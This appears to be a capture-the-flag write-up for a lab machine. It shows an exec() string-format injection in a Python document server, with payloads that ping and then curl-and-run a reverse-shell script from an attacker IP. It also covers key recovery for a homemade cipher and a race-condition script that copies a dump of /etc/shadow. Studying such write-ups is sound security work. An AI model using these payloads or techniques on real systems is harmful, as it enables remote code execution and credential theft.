Let's download the file using wget and analyze it for vulnerabilities.
Python's exec RCE (String format vulnerability)
# Vulnerable Code
def serveDoc(self, path, docRoot):
path = urllib.parse.unquote(path)
try:
info = "output = 'Document: {}'" # Keep the output for later debug
exec(info.format(path)) # This is how you do string formatting, right?
cwd = os.path.dirname(os.path.realpath(__file__))
docRoot = os.path.join(cwd, docRoot)
if path == "/":
path = "/index.html"
requested = os.path.join(docRoot, path[1:])
.
.
.
.
The path is controllable by us and is not getting sanitized anywhere, that means we can inject malicious payload over here.
';__import__('os').system('ping -c 3 10.10.14.4');' # Ping connection
';__import__('os').system('curl http://10.10.14.4:8000/shell.py|python3');' # Reverse shell
# Make sure to URL Encode it
It is working. Now let's get a reverse shell.
Privilege Escalation (robert)
So the SuperSecureCrypt.py encrypts the file with a unique key and also requires that same key to decrypt. There is a file named passwordreminder.txt which is encrypted with some key. Also there are two files check.txt and out.txt.
# Contents of check.txt
Encrypting this file with your key should result in out.txt, make sure your key is correct!
We have plaintext file and the encrypted file, let's see if we can get the key that was used to encrypt it. I have written a small script to crack it.
If you will check the source code for this BetterSSH.py file, you will find a vulnerable part.
try:
session['user'] = input("Enter username: ")
passW = input("Enter password: ")
with open('/etc/shadow', 'r') as f:
data = f.readlines()
data = [(p.split(":") if "$" in p else None) for p in data]
passwords = []
for x in data:
if not x == None:
passwords.append(x)
passwordFile = '\n'.join(['\n'.join(p) for p in passwords])
with open('/tmp/SSH/'+path, 'w') as f:
f.write(passwordFile)
time.sleep(.1)
So after entering valid username and password (which we already have), the script opens /etc/shadow file and stores it in /tmp/SSH/<random-name> So we can get that file by running a race condition script in the background.
#!/bin/bash
for i in `seq 1 90000`;do
cp -r /tmp/SSH/ .
done
# Start the script before running the sudo command